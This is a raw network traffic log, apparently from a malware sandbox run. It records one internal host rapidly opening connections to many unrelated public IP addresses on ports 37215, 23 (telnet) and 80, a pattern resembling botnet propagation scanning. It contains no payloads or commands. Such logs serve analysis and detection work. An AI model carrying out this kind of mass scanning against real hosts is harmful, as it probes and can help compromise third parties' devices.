Feb 4, 2025 18:11:17.368750095 CET	10640	37215	192.168.2.15	41.239.37.142
Feb 4, 2025 18:11:17.368753910 CET	10640	37215	192.168.2.15	156.118.217.95
Feb 4, 2025 18:11:17.368753910 CET	10640	37215	192.168.2.15	41.131.8.46
Feb 4, 2025 18:11:17.368757010 CET	10640	37215	192.168.2.15	41.153.175.208
Feb 4, 2025 18:11:17.368757963 CET	10640	37215	192.168.2.15	156.36.8.125
Feb 4, 2025 18:11:17.368771076 CET	10640	37215	192.168.2.15	41.34.219.86
Feb 4, 2025 18:11:17.368777990 CET	10640	37215	192.168.2.15	197.231.253.174
Feb 4, 2025 18:11:17.368778944 CET	10640	37215	192.168.2.15	41.92.21.147
Feb 4, 2025 18:11:17.368783951 CET	10640	37215	192.168.2.15	156.61.199.88
Feb 4, 2025 18:11:17.368784904 CET	10640	37215	192.168.2.15	156.18.41.177
Feb 4, 2025 18:11:17.368801117 CET	10640	37215	192.168.2.15	197.42.157.246
Feb 4, 2025 18:11:17.368808031 CET	10640	37215	192.168.2.15	156.226.119.141
Feb 4, 2025 18:11:17.368808031 CET	10640	37215	192.168.2.15	41.4.84.52
Feb 4, 2025 18:11:17.368809938 CET	10640	37215	192.168.2.15	197.70.77.22
Feb 4, 2025 18:11:17.368818045 CET	10640	37215	192.168.2.15	41.234.20.143
Feb 4, 2025 18:11:17.368825912 CET	10640	37215	192.168.2.15	156.53.244.43
Feb 4, 2025 18:11:17.368829012 CET	10640	37215	192.168.2.15	197.13.156.17
Feb 4, 2025 18:11:17.368837118 CET	10640	37215	192.168.2.15	41.20.154.251
Feb 4, 2025 18:11:17.368837118 CET	10640	37215	192.168.2.15	41.151.141.235
Feb 4, 2025 18:11:17.368839979 CET	10640	37215	192.168.2.15	156.178.9.204
Feb 4, 2025 18:11:17.368844032 CET	10640	37215	192.168.2.15	156.46.245.20
Feb 4, 2025 18:11:17.368844032 CET	10640	37215	192.168.2.15	197.231.21.126
Feb 4, 2025 18:11:17.368845940 CET	10640	37215	192.168.2.15	156.195.139.32
Feb 4, 2025 18:11:17.368861914 CET	10640	37215	192.168.2.15	156.207.226.64
Feb 4, 2025 18:11:17.368876934 CET	10640	37215	192.168.2.15	156.9.70.26
Feb 4, 2025 18:11:17.368887901 CET	10640	37215	192.168.2.15	156.226.181.106
Feb 4, 2025 18:11:17.368905067 CET	10640	37215	192.168.2.15	156.21.115.146
Feb 4, 2025 18:11:17.368906021 CET	10640	37215	192.168.2.15	41.24.152.162
Feb 4, 2025 18:11:17.368908882 CET	10640	37215	192.168.2.15	156.138.109.195
Feb 4, 2025 18:11:17.368908882 CET	10640	37215	192.168.2.15	156.208.243.220
Feb 4, 2025 18:11:17.368911028 CET	10640	37215	192.168.2.15	156.205.189.148
Feb 4, 2025 18:11:17.368916988 CET	10640	37215	192.168.2.15	197.106.193.90
Feb 4, 2025 18:11:17.368917942 CET	10640	37215	192.168.2.15	156.246.190.145
Feb 4, 2025 18:11:17.368917942 CET	10640	37215	192.168.2.15	41.75.227.132
Feb 4, 2025 18:11:17.368920088 CET	10640	37215	192.168.2.15	41.127.98.97
Feb 4, 2025 18:11:17.368920088 CET	10640	37215	192.168.2.15	41.191.148.121
Feb 4, 2025 18:11:17.368920088 CET	10640	37215	192.168.2.15	156.7.56.239
Feb 4, 2025 18:11:17.368920088 CET	10640	37215	192.168.2.15	197.115.119.193
Feb 4, 2025 18:11:17.369040966 CET	39240	37215	192.168.2.15	197.74.8.49
Feb 4, 2025 18:11:17.369040966 CET	39240	37215	192.168.2.15	197.74.8.49
Feb 4, 2025 18:11:17.369956017 CET	40000	37215	192.168.2.15	197.74.8.49
Feb 4, 2025 18:11:17.372448921 CET	37215	10640	41.89.186.103	192.168.2.15
Feb 4, 2025 18:11:17.372490883 CET	10640	37215	192.168.2.15	41.89.186.103
Feb 4, 2025 18:11:17.373790026 CET	37215	39240	197.74.8.49	192.168.2.15
Feb 4, 2025 18:11:17.384433031 CET	80	32782	200.162.125.49	192.168.2.15
Feb 4, 2025 18:11:17.394666910 CET	58508	80	192.168.2.15	106.129.170.230
Feb 4, 2025 18:11:17.394666910 CET	35404	80	192.168.2.15	188.5.23.207
Feb 4, 2025 18:11:17.394669056 CET	33630	23	192.168.2.15	150.92.232.7
Feb 4, 2025 18:11:17.394670010 CET	60904	23	192.168.2.15	71.253.136.106
Feb 4, 2025 18:11:17.394670010 CET	36202	23	192.168.2.15	77.77.83.106
Feb 4, 2025 18:11:17.394674063 CET	56370	37215	192.168.2.15	197.206.55.46
Feb 4, 2025 18:11:17.394679070 CET	33764	80	192.168.2.15	9.119.226.185
Feb 4, 2025 18:11:17.394680977 CET	40274	37215	192.168.2.15	197.225.119.24
Feb 4, 2025 18:11:17.394685984 CET	52170	37215	192.168.2.15	156.166.231.243
Feb 4, 2025 18:11:17.394704103 CET	48808	80	192.168.2.15	166.207.45.208
Feb 4, 2025 18:11:17.399491072 CET	23	60904	71.253.136.106	192.168.2.15
Feb 4, 2025 18:11:17.399502039 CET	80	58508	106.129.170.230	192.168.2.15
Feb 4, 2025 18:11:17.399537086 CET	60904	23	192.168.2.15	71.253.136.106
Feb 4, 2025 18:11:17.399586916 CET	58508	80	192.168.2.15	106.129.170.230
Feb 4, 2025 18:11:17.400307894 CET	52314	80	192.168.2.15	150.158.10.51
Feb 4, 2025 18:11:17.401195049 CET	58508	80	192.168.2.15	106.129.170.230
Feb 4, 2025 18:11:17.401195049 CET	58508	80	192.168.2.15	106.129.170.230
Feb 4, 2025 18:11:17.402008057 CET	59236	80	192.168.2.15	106.129.170.230
Feb 4, 2025 18:11:17.405087948 CET	80	52314	150.158.10.51	192.168.2.15
Feb 4, 2025 18:11:17.405153036 CET	52314	80	192.168.2.15	150.158.10.51
Feb 4, 2025 18:11:17.405183077 CET	52314	80	192.168.2.15	150.158.10.51
Feb 4, 2025 18:11:17.405183077 CET	52314	80	192.168.2.15	150.158.10.51
Feb 4, 2025 18:11:17.405966043 CET	52318	80	192.168.2.15	150.158.10.51
Feb 4, 2025 18:11:17.406032085 CET	80	58508	106.129.170.230	192.168.2.15
Feb 4, 2025 18:11:17.409914017 CET	80	52314	150.158.10.51	192.168.2.15
Feb 4, 2025 18:11:17.416414976 CET	37215	39240	197.74.8.49	192.168.2.15
Feb 4, 2025 18:11:17.426666975 CET	60242	23	192.168.2.15	31.166.118.47
Feb 4, 2025 18:11:17.426677942 CET	52870	37215	192.168.2.15	156.118.10.77
Feb 4, 2025 18:11:17.426677942 CET	46220	80	192.168.2.15	60.156.61.231
Feb 4, 2025 18:11:17.426721096 CET	39942	23	192.168.2.15	9.132.198.210
Feb 4, 2025 18:11:17.431524992 CET	23	60242	31.166.118.47	192.168.2.15
Feb 4, 2025 18:11:17.431539059 CET	37215	52870	156.118.10.77	192.168.2.15
Feb 4, 2025 18:11:17.431581020 CET	60242	23	192.168.2.15	31.166.118.47
Feb 4, 2025 18:11:17.431587934 CET	52870	37215	192.168.2.15	156.118.10.77
Feb 4, 2025 18:11:17.432590008 CET	51726	37215	192.168.2.15	41.89.186.103
Feb 4, 2025 18:11:17.433588028 CET	52870	37215	192.168.2.15	156.118.10.77
Feb 4, 2025 18:11:17.433588028 CET	52870	37215	192.168.2.15	156.118.10.77
Feb 4, 2025 18:11:17.434412956 CET	53596	37215	192.168.2.15	156.118.10.77
Feb 4, 2025 18:11:17.437342882 CET	37215	51726	41.89.186.103	192.168.2.15
Feb 4, 2025 18:11:17.437400103 CET	51726	37215	192.168.2.15	41.89.186.103
Feb 4, 2025 18:11:17.437438011 CET	51726	37215	192.168.2.15	41.89.186.103
Feb 4, 2025 18:11:17.437438011 CET	51726	37215	192.168.2.15	41.89.186.103
Feb 4, 2025 18:11:17.438071012 CET	51730	37215	192.168.2.15	41.89.186.103
Feb 4, 2025 18:11:17.438354969 CET	37215	52870	156.118.10.77	192.168.2.15
Feb 4, 2025 18:11:17.442224026 CET	37215	51726	41.89.186.103	192.168.2.15
Feb 4, 2025 18:11:17.442852974 CET	37215	51730	41.89.186.103	192.168.2.15
Feb 4, 2025 18:11:17.442898989 CET	51730	37215	192.168.2.15	41.89.186.103
Feb 4, 2025 18:11:17.442918062 CET	51730	37215	192.168.2.15	41.89.186.103
Feb 4, 2025 18:11:17.447866917 CET	37215	51730	41.89.186.103	192.168.2.15
Feb 4, 2025 18:11:17.447906017 CET	51730	37215	192.168.2.15	41.89.186.103
Feb 4, 2025 18:11:17.448414087 CET	80	58508	106.129.170.230	192.168.2.15
Feb 4, 2025 18:11:17.452390909 CET	80	52314	150.158.10.51	192.168.2.15
Feb 4, 2025 18:11:17.458666086 CET	42968	37215	192.168.2.15	197.109.186.149
Feb 4, 2025 18:11:17.458666086 CET	38764	37215	192.168.2.15	197.153.167.125
Feb 4, 2025 18:11:17.458667994 CET	46882	23	192.168.2.15	44.89.104.81
Feb 4, 2025 18:11:17.458681107 CET	58562	80	192.168.2.15	205.76.209.146
Feb 4, 2025 18:11:17.463490963 CET	37215	42968	197.109.186.149	192.168.2.15
Feb 4, 2025 18:11:17.463501930 CET	37215	38764	197.153.167.125	192.168.2.15
Feb 4, 2025 18:11:17.463546038 CET	42968	37215	192.168.2.15	197.109.186.149
Feb 4, 2025 18:11:17.463546038 CET	38764	37215	192.168.2.15	197.153.167.125
Feb 4, 2025 18:11:17.463694096 CET	38764	37215	192.168.2.15	197.153.167.125
Feb 4, 2025 18:11:17.463694096 CET	38764	37215	192.168.2.15	197.153.167.125
Feb 4, 2025 18:11:17.464579105 CET	39486	37215	192.168.2.15	197.153.167.125
Feb 4, 2025 18:11:17.465620041 CET	42968	37215	192.168.2.15	197.109.186.149
Feb 4, 2025 18:11:17.465620041 CET	42968	37215	192.168.2.15	197.109.186.149
Feb 4, 2025 18:11:17.466517925 CET	43684	37215	192.168.2.15	197.109.186.149
Feb 4, 2025 18:11:17.468580008 CET	37215	38764	197.153.167.125	192.168.2.15
Feb 4, 2025 18:11:17.470459938 CET	37215	42968	197.109.186.149	192.168.2.15
Feb 4, 2025 18:11:17.480532885 CET	37215	52870	156.118.10.77	192.168.2.15
Feb 4, 2025 18:11:17.484426022 CET	37215	51726	41.89.186.103	192.168.2.15
Feb 4, 2025 18:11:17.490659952 CET	37714	23	192.168.2.15	46.250.175.108
Feb 4, 2025 18:11:17.490664005 CET	51970	80	192.168.2.15	37.172.150.98
Feb 4, 2025 18:11:17.490665913 CET	44592	80	192.168.2.15	178.15.78.97
Feb 4, 2025 18:11:17.490665913 CET	35030	37215	192.168.2.15	41.237.200.164
Feb 4, 2025 18:11:17.490665913 CET	40244	23	192.168.2.15	180.78.103.148
Feb 4, 2025 18:11:17.490674019 CET	37894	80	192.168.2.15	200.233.41.109
Feb 4, 2025 18:11:17.490673065 CET	40554	80	192.168.2.15	183.129.252.65
Feb 4, 2025 18:11:17.490673065 CET	36008	23	192.168.2.15	190.182.109.88
Feb 4, 2025 18:11:17.490677118 CET	41924	23	192.168.2.15	168.197.36.50
Feb 4, 2025 18:11:17.490677118 CET	48624	37215	192.168.2.15	41.47.191.201
Feb 4, 2025 18:11:17.490685940 CET	42190	37215	192.168.2.15	197.232.170.126
Feb 4, 2025 18:11:17.490689993 CET	35892	37215	192.168.2.15	41.58.141.111
Feb 4, 2025 18:11:17.490689993 CET	42794	80	192.168.2.15	164.65.137.10
Feb 4, 2025 18:11:17.490690947 CET	54870	80	192.168.2.15	109.194.126.187
Feb 4, 2025 18:11:17.490690947 CET	60130	23	192.168.2.15	180.208.106.117
Feb 4, 2025 18:11:17.490691900 CET	38486	23	192.168.2.15	171.253.49.21
Feb 4, 2025 18:11:17.495637894 CET	23	37714	46.250.175.108	192.168.2.15
Feb 4, 2025 18:11:17.495646954 CET	80	44592	178.15.78.97	192.168.2.15
Feb 4, 2025 18:11:17.495660067 CET	37215	35030	41.237.200.164	192.168.2.15
Feb 4, 2025 18:11:17.495678902 CET	37714	23	192.168.2.15	46.250.175.108
Feb 4, 2025 18:11:17.495696068 CET	44592	80	192.168.2.15	178.15.78.97
Feb 4, 2025 18:11:17.495814085 CET	35030	37215	192.168.2.15	41.237.200.164
Feb 4, 2025 18:11:17.495879889 CET	44592	80	192.168.2.15	178.15.78.97
Feb 4, 2025 18:11:17.495879889 CET	44592	80	192.168.2.15	178.15.78.97
Feb 4, 2025 18:11:17.496005058 CET	35030	37215	192.168.2.15	41.237.200.164
Feb 4, 2025 18:11:17.496005058 CET	35030	37215	192.168.2.15	41.237.200.164
Feb 4, 2025 18:11:17.497045040 CET	45270	80	192.168.2.15	178.15.78.97
Feb 4, 2025 18:11:17.497272015 CET	35714	37215	192.168.2.15	41.237.200.164
Feb 4, 2025 18:11:17.500616074 CET	80	44592	178.15.78.97	192.168.2.15
Feb 4, 2025 18:11:17.500838995 CET	37215	35030	41.237.200.164	192.168.2.15
Feb 4, 2025 18:11:17.501808882 CET	80	45270	178.15.78.97	192.168.2.15
Feb 4, 2025 18:11:17.501867056 CET	45270	80	192.168.2.15	178.15.78.97
Feb 4, 2025 18:11:17.501867056 CET	45270	80	192.168.2.15	178.15.78.97
Feb 4, 2025 18:11:17.506851912 CET	80	45270	178.15.78.97	192.168.2.15
Feb 4, 2025 18:11:17.506891966 CET	45270	80	192.168.2.15	178.15.78.97
Feb 4, 2025 18:11:17.512482882 CET	37215	42968	197.109.186.149	192.168.2.15
Feb 4, 2025 18:11:17.512491941 CET	37215	38764	197.153.167.125	192.168.2.15
Feb 4, 2025 18:11:17.526654959 CET	56376	80	192.168.2.15	66.135.17.87
Feb 4, 2025 18:11:17.526665926 CET	53500	80	192.168.2.15	126.88.175.215
Feb 4, 2025 18:11:17.526667118 CET	35658	37215	192.168.2.15	156.255.22.124
Feb 4, 2025 18:11:17.526667118 CET	56824	80	192.168.2.15	43.82.229.157
Feb 4, 2025 18:11:17.526669025 CET	41704	37215	192.168.2.15	156.30.18.44
Feb 4, 2025 18:11:17.526669979 CET	37250	37215	192.168.2.15	41.194.239.130
Feb 4, 2025 18:11:17.526674986 CET	60256	23	192.168.2.15	180.224.139.179
Feb 4, 2025 18:11:17.526678085 CET	57100	23	192.168.2.15	136.55.42.11
Feb 4, 2025 18:11:17.526674986 CET	37110	37215	192.168.2.15	156.184.85.18
Feb 4, 2025 18:11:17.526678085 CET	50816	37215	192.168.2.15	41.137.88.118
Feb 4, 2025 18:11:17.526678085 CET	59030	80	192.168.2.15	146.232.250.211
Feb 4, 2025 18:11:17.526681900 CET	55874	80	192.168.2.15	68.142.23.3
Feb 4, 2025 18:11:17.526683092 CET	36398	23	192.168.2.15	154.85.65.46
Feb 4, 2025 18:11:17.526688099 CET	52626	37215	192.168.2.15	197.89.28.125
Feb 4, 2025 18:11:17.526688099 CET	33184	23	192.168.2.15	44.155.228.66
Feb 4, 2025 18:11:17.526691914 CET	38166	23	192.168.2.15	122.50.163.119
Feb 4, 2025 18:11:17.526693106 CET	47526	80	192.168.2.15	204.176.132.110
Feb 4, 2025 18:11:17.531502008 CET	80	56376	66.135.17.87	192.168.2.15
Feb 4, 2025 18:11:17.531511068 CET	80	53500	126.88.175.215	192.168.2.15
Feb 4, 2025 18:11:17.531548023 CET	56376	80	192.168.2.15	66.135.17.87
Feb 4, 2025 18:11:17.531558990 CET	53500	80	192.168.2.15	126.88.175.215
Feb 4, 2025 18:11:17.531649113 CET	53500	80	192.168.2.15	126.88.175.215
Feb 4, 2025 18:11:17.531649113 CET	53500	80	192.168.2.15	126.88.175.215
Feb 4, 2025 18:11:17.532357931 CET	54154	80	192.168.2.15	126.88.175.215
Feb 4, 2025 18:11:17.533236980 CET	56376	80	192.168.2.15	66.135.17.87
Feb 4, 2025 18:11:17.533236980 CET	56376	80	192.168.2.15	66.135.17.87
Feb 4, 2025 18:11:17.534174919 CET	57020	80	192.168.2.15	66.135.17.87
Feb 4, 2025 18:11:17.536456108 CET	80	53500	126.88.175.215	192.168.2.15
Feb 4, 2025 18:11:17.537147999 CET	80	54154	126.88.175.215	192.168.2.15
Feb 4, 2025 18:11:17.537195921 CET	54154	80	192.168.2.15	126.88.175.215
Feb 4, 2025 18:11:17.537209988 CET	54154	80	192.168.2.15	126.88.175.215
Feb 4, 2025 18:11:17.537975073 CET	80	56376	66.135.17.87	192.168.2.15
Feb 4, 2025 18:11:17.542167902 CET	80	54154	126.88.175.215	192.168.2.15
Feb 4, 2025 18:11:17.542193890 CET	54154	80	192.168.2.15	126.88.175.215
Feb 4, 2025 18:11:17.544480085 CET	37215	35030	41.237.200.164	192.168.2.15
Feb 4, 2025 18:11:17.544490099 CET	80	44592	178.15.78.97	192.168.2.15
Feb 4, 2025 18:11:17.554656029 CET	38698	80	192.168.2.15	206.18.177.12
Feb 4, 2025 18:11:17.554668903 CET	47416	37215	192.168.2.15	41.223.19.108
Feb 4, 2025 18:11:17.554668903 CET	51986	80	192.168.2.15	107.55.187.174
Feb 4, 2025 18:11:17.554668903 CET	59318	23	192.168.2.15	104.129.170.155
Feb 4, 2025 18:11:17.554670095 CET	47320	37215	192.168.2.15	197.14.66.12
Feb 4, 2025 18:11:17.554668903 CET	54240	80	192.168.2.15	108.8.212.184
Feb 4, 2025 18:11:17.554668903 CET	57398	80	192.168.2.15	108.107.221.111
Feb 4, 2025 18:11:17.554675102 CET	49300	37215	192.168.2.15	197.231.134.36
Feb 4, 2025 18:11:17.554675102 CET	42714	23	192.168.2.15	206.244.37.21
Feb 4, 2025 18:11:17.554678917 CET	44330	80	192.168.2.15	125.44.204.231
Feb 4, 2025 18:11:17.554689884 CET	60938	23	192.168.2.15	13.201.182.230
Feb 4, 2025 18:11:17.554689884 CET	55852	23	192.168.2.15	143.239.97.29
Feb 4, 2025 18:11:17.554689884 CET	47996	80	192.168.2.15	83.61.136.91
Feb 4, 2025 18:11:17.554694891 CET	45140	23	192.168.2.15	187.150.12.11
Feb 4, 2025 18:11:17.554694891 CET	38854	37215	192.168.2.15	156.30.145.227
Feb 4, 2025 18:11:17.554697990 CET	33876	80	192.168.2.15	126.70.32.90
Feb 4, 2025 18:11:17.554707050 CET	35862	23	192.168.2.15	165.249.38.136
Feb 4, 2025 18:11:17.554711103 CET	37248	80	192.168.2.15	84.0.101.244
Feb 4, 2025 18:11:17.554711103 CET	33016	23	192.168.2.15	164.137.162.251
Feb 4, 2025 18:11:17.554717064 CET	58172	37215	192.168.2.15	41.106.217.55
Feb 4, 2025 18:11:17.554723978 CET	40198	80	192.168.2.15	194.111.48.242
Feb 4, 2025 18:11:17.559500933 CET	80	38698	206.18.177.12	192.168.2.15
Feb 4, 2025 18:11:17.559521914 CET	37215	47320	197.14.66.12	192.168.2.15
Feb 4, 2025 18:11:17.559547901 CET	38698	80	192.168.2.15	206.18.177.12
Feb 4, 2025 18:11:17.559668064 CET	47320	37215	192.168.2.15	197.14.66.12
Feb 4, 2025 18:11:17.559669018 CET	38698	80	192.168.2.15	206.18.177.12
Feb 4, 2025 18:11:17.559799910 CET	47320	37215	192.168.2.15	197.14.66.12
Feb 4, 2025 18:11:17.559799910 CET	47320	37215	192.168.2.15	197.14.66.12
Feb 4, 2025 18:11:17.559838057 CET	38698	80	192.168.2.15	206.18.177.12
Feb 4, 2025 18:11:17.560889006 CET	47924	37215	192.168.2.15	197.14.66.12
Feb 4, 2025 18:11:17.561084986 CET	39294	80	192.168.2.15	206.18.177.12
Feb 4, 2025 18:11:17.564429045 CET	80	38698	206.18.177.12	192.168.2.15
Feb 4, 2025 18:11:17.564582109 CET	37215	47320	197.14.66.12	192.168.2.15
Feb 4, 2025 18:11:17.565690994 CET	37215	47924	197.14.66.12	192.168.2.15
Feb 4, 2025 18:11:17.565736055 CET	47924	37215	192.168.2.15	197.14.66.12
Feb 4, 2025 18:11:17.565754890 CET	47924	37215	192.168.2.15	197.14.66.12
Feb 4, 2025 18:11:17.570636034 CET	37215	47924	197.14.66.12	192.168.2.15
Feb 4, 2025 18:11:17.570679903 CET	47924	37215	192.168.2.15	197.14.66.12
Feb 4, 2025 18:11:17.580564022 CET	80	53500	126.88.175.215	192.168.2.15
Feb 4, 2025 18:11:17.584522963 CET	80	56376	66.135.17.87	192.168.2.15
Feb 4, 2025 18:11:17.586658001 CET	47786	80	192.168.2.15	41.137.229.247
Feb 4, 2025 18:11:17.586658001 CET	58692	23	192.168.2.15	212.98.151.177
Feb 4, 2025 18:11:17.586658001 CET	33138	23	192.168.2.15	94.86.77.0
Feb 4, 2025 18:11:17.586662054 CET	38780	37215	192.168.2.15	197.109.31.175
Feb 4, 2025 18:11:17.586667061 CET	40696	37215	192.168.2.15	156.88.255.7
Feb 4, 2025 18:11:17.586672068 CET	53156	80	192.168.2.15	200.22.208.167
Feb 4, 2025 18:11:17.586672068 CET	38420	37215	192.168.2.15	156.148.145.85
Feb 4, 2025 18:11:17.586673021 CET	49984	23	192.168.2.15	80.194.220.75
Feb 4, 2025 18:11:17.586675882 CET	60566	80	192.168.2.15	95.225.178.100
Feb 4, 2025 18:11:17.586677074 CET	41492	80	192.168.2.15	78.254.237.99
Feb 4, 2025 18:11:17.586675882 CET	48194	37215	192.168.2.15	197.6.74.221
Feb 4, 2025 18:11:17.586689949 CET	33086	37215	192.168.2.15	156.6.81.205
Feb 4, 2025 18:11:17.586688995 CET	53476	80	192.168.2.15	36.166.131.210
Feb 4, 2025 18:11:17.586690903 CET	48266	23	192.168.2.15	183.158.88.190
Feb 4, 2025 18:11:17.586690903 CET	43998	80	192.168.2.15	8.96.135.15
Feb 4, 2025 18:11:17.586700916 CET	34050	80	192.168.2.15	89.171.116.145
Feb 4, 2025 18:11:17.586700916 CET	44712	37215	192.168.2.15	156.219.181.29
Feb 4, 2025 18:11:17.586714029 CET	51336	23	192.168.2.15	71.140.188.144
Feb 4, 2025 18:11:17.586716890 CET	59486	80	192.168.2.15	187.255.144.171
Feb 4, 2025 18:11:17.586716890 CET	33268	37215	192.168.2.15	197.254.196.228
Feb 4, 2025 18:11:17.586716890 CET	59714	23	192.168.2.15	53.219.214.78
Feb 4, 2025 18:11:17.586716890 CET	33738	37215	192.168.2.15	156.129.236.100
Feb 4, 2025 18:11:17.586721897 CET	36442	80	192.168.2.15	189.156.186.99
Feb 4, 2025 18:11:17.591540098 CET	37215	38780	197.109.31.175	192.168.2.15
Feb 4, 2025 18:11:17.591551065 CET	80	47786	41.137.229.247	192.168.2.15
Feb 4, 2025 18:11:17.591583967 CET	38780	37215	192.168.2.15	197.109.31.175
Feb 4, 2025 18:11:17.591675997 CET	38780	37215	192.168.2.15	197.109.31.175
Feb 4, 2025 18:11:17.591675997 CET	38780	37215	192.168.2.15	197.109.31.175
Feb 4, 2025 18:11:17.591774940 CET	47786	80	192.168.2.15	41.137.229.247
Feb 4, 2025 18:11:17.591825962 CET	47786	80	192.168.2.15	41.137.229.247
Feb 4, 2025 18:11:17.591825962 CET	47786	80	192.168.2.15	41.137.229.247
Feb 4, 2025 18:11:17.592735052 CET	39330	37215	192.168.2.15	197.109.31.175
Feb 4, 2025 18:11:17.592958927 CET	48334	80	192.168.2.15	41.137.229.247
Feb 4, 2025 18:11:17.596446037 CET	37215	38780	197.109.31.175	192.168.2.15
Feb 4, 2025 18:11:17.596586943 CET	80	47786	41.137.229.247	192.168.2.15
Feb 4, 2025 18:11:17.597584963 CET	37215	39330	197.109.31.175	192.168.2.15
Feb 4, 2025 18:11:17.597646952 CET	39330	37215	192.168.2.15	197.109.31.175
Feb 4, 2025 18:11:17.597646952 CET	39330	37215	192.168.2.15	197.109.31.175
Feb 4, 2025 18:11:17.602514029 CET	37215	39330	197.109.31.175	192.168.2.15
Feb 4, 2025 18:11:17.602557898 CET	39330	37215	192.168.2.15	197.109.31.175
Feb 4, 2025 18:11:17.612452984 CET	80	38698	206.18.177.12	192.168.2.15
Feb 4, 2025 18:11:17.612468004 CET	37215	47320	197.14.66.12	192.168.2.15
Feb 4, 2025 18:11:17.618662119 CET	41922	23	192.168.2.15	129.9.229.69
Feb 4, 2025 18:11:17.618664980 CET	55796	23	192.168.2.15	108.249.165.250
Feb 4, 2025 18:11:17.618662119 CET	53966	80	192.168.2.15	82.32.93.110
Feb 4, 2025 18:11:17.618664980 CET	45298	37215	192.168.2.15	197.11.95.122
Feb 4, 2025 18:11:17.618671894 CET	44650	80	192.168.2.15	40.27.177.94
Feb 4, 2025 18:11:17.618671894 CET	43842	23	192.168.2.15	37.106.63.8
Feb 4, 2025 18:11:17.618671894 CET	50144	37215	192.168.2.15	41.136.237.199
Feb 4, 2025 18:11:17.618671894 CET	53228	37215	192.168.2.15	41.200.231.53
Feb 4, 2025 18:11:17.618680000 CET	46800	80	192.168.2.15	67.76.177.112
Feb 4, 2025 18:11:17.618680000 CET	45496	37215	192.168.2.15	156.47.169.47
Feb 4, 2025 18:11:17.618680000 CET	51366	80	192.168.2.15	175.253.12.68
Feb 4, 2025 18:11:17.618683100 CET	54204	23	192.168.2.15	94.227.241.132
Feb 4, 2025 18:11:17.618683100 CET	43426	37215	192.168.2.15	156.221.144.14
Feb 4, 2025 18:11:17.618683100 CET	39178	80	192.168.2.15	132.130.80.183
Feb 4, 2025 18:11:17.618691921 CET	38734	23	192.168.2.15	209.173.21.234
Feb 4, 2025 18:11:17.618694067 CET	56348	80	192.168.2.15	114.198.115.177
Feb 4, 2025 18:11:17.618694067 CET	55630	23	192.168.2.15	128.125.86.157
Feb 4, 2025 18:11:17.618695021 CET	51456	37215	192.168.2.15	197.150.26.169
Feb 4, 2025 18:11:17.618699074 CET	42010	23	192.168.2.15	157.105.102.148
Feb 4, 2025 18:11:17.618704081 CET	33010	80	192.168.2.15	207.26.197.36
Feb 4, 2025 18:11:17.618741989 CET	54258	23	192.168.2.15	35.128.194.32
Feb 4, 2025 18:11:17.623476028 CET	23	41922	129.9.229.69	192.168.2.15
Feb 4, 2025 18:11:17.623487949 CET	80	53966	82.32.93.110	192.168.2.15
Feb 4, 2025 18:11:17.623502016 CET	23	55796	108.249.165.250	192.168.2.15
Feb 4, 2025 18:11:17.623529911 CET	41922	23	192.168.2.15	129.9.229.69
Feb 4, 2025 18:11:17.623547077 CET	53966	80	192.168.2.15	82.32.93.110
Feb 4, 2025 18:11:17.623548985 CET	55796	23	192.168.2.15	108.249.165.250
Feb 4, 2025 18:11:17.623729944 CET	53966	80	192.168.2.15	82.32.93.110
Feb 4, 2025 18:11:17.623729944 CET	53966	80	192.168.2.15	82.32.93.110
Feb 4, 2025 18:11:17.624490023 CET	54476	80	192.168.2.15	82.32.93.110
Feb 4, 2025 18:11:17.628545046 CET	80	53966	82.32.93.110	192.168.2.15
Feb 4, 2025 18:11:17.640450001 CET	80	47786	41.137.229.247	192.168.2.15
Feb 4, 2025 18:11:17.640460014 CET	37215	38780	197.109.31.175	192.168.2.15
Feb 4, 2025 18:11:17.650661945 CET	49810	37215	192.168.2.15	156.80.186.253
Feb 4, 2025 18:11:17.650667906 CET	38760	37215	192.168.2.15	41.29.6.122
Feb 4, 2025 18:11:17.650676012 CET	33700	37215	192.168.2.15	197.133.40.24
Feb 4, 2025 18:11:17.650679111 CET	57814	80	192.168.2.15	178.24.117.67
Feb 4, 2025 18:11:17.650685072 CET	56382	37215	192.168.2.15	197.225.167.185
Feb 4, 2025 18:11:17.650690079 CET	43470	80	192.168.2.15	200.16.27.139
Feb 4, 2025 18:11:17.650690079 CET	49374	23	192.168.2.15	45.119.106.189
Feb 4, 2025 18:11:17.650690079 CET	43530	37215	192.168.2.15	41.214.171.158
Feb 4, 2025 18:11:17.650697947 CET	50100	80	192.168.2.15	176.70.45.40
Feb 4, 2025 18:11:17.650700092 CET	56570	80	192.168.2.15	190.51.84.210
Feb 4, 2025 18:11:17.650706053 CET	39264	23	192.168.2.15	153.195.245.31
Feb 4, 2025 18:11:17.650708914 CET	36228	23	192.168.2.15	132.15.159.73
Feb 4, 2025 18:11:17.650710106 CET	38824	37215	192.168.2.15	156.160.31.107
Feb 4, 2025 18:11:17.650712013 CET	37912	80	192.168.2.15	40.164.113.19
Feb 4, 2025 18:11:17.650727987 CET	33354	80	192.168.2.15	141.119.124.169
Feb 4, 2025 18:11:17.650727987 CET	41804	23	192.168.2.15	91.0.19.87
Feb 4, 2025 18:11:17.650732994 CET	56084	37215	192.168.2.15	41.26.186.8
Feb 4, 2025 18:11:17.650736094 CET	43732	37215	192.168.2.15	41.238.27.185
Feb 4, 2025 18:11:17.650736094 CET	39678	80	192.168.2.15	194.35.89.86
Feb 4, 2025 18:11:17.650736094 CET	59342	23	192.168.2.15	132.130.1.67
Feb 4, 2025 18:11:17.650748014 CET	36766	80	192.168.2.15	143.23.249.38
Feb 4, 2025 18:11:17.656177044 CET	37215	49810	156.80.186.253	192.168.2.15
Feb 4, 2025 18:11:17.656191111 CET	37215	38760	41.29.6.122	192.168.2.15
Feb 4, 2025 18:11:17.656199932 CET	37215	33700	197.133.40.24	192.168.2.15
Feb 4, 2025 18:11:17.656230927 CET	49810	37215	192.168.2.15	156.80.186.253
Feb 4, 2025 18:11:17.656244040 CET	33700	37215	192.168.2.15	197.133.40.24
Feb 4, 2025 18:11:17.656250954 CET	38760	37215	192.168.2.15	41.29.6.122
Feb 4, 2025 18:11:17.656359911 CET	33700	37215	192.168.2.15	197.133.40.24
Feb 4, 2025 18:11:17.656359911 CET	33700	37215	192.168.2.15	197.133.40.24
Feb 4, 2025 18:11:17.657192945 CET	34160	37215	192.168.2.15	197.133.40.24
Feb 4, 2025 18:11:17.657635927 CET	38760	37215	192.168.2.15	41.29.6.122
Feb 4, 2025 18:11:17.657635927 CET	38760	37215	192.168.2.15	41.29.6.122
Feb 4, 2025 18:11:17.658657074 CET	39220	37215	192.168.2.15	41.29.6.122
Feb 4, 2025 18:11:17.659847021 CET	49810	37215	192.168.2.15	156.80.186.253
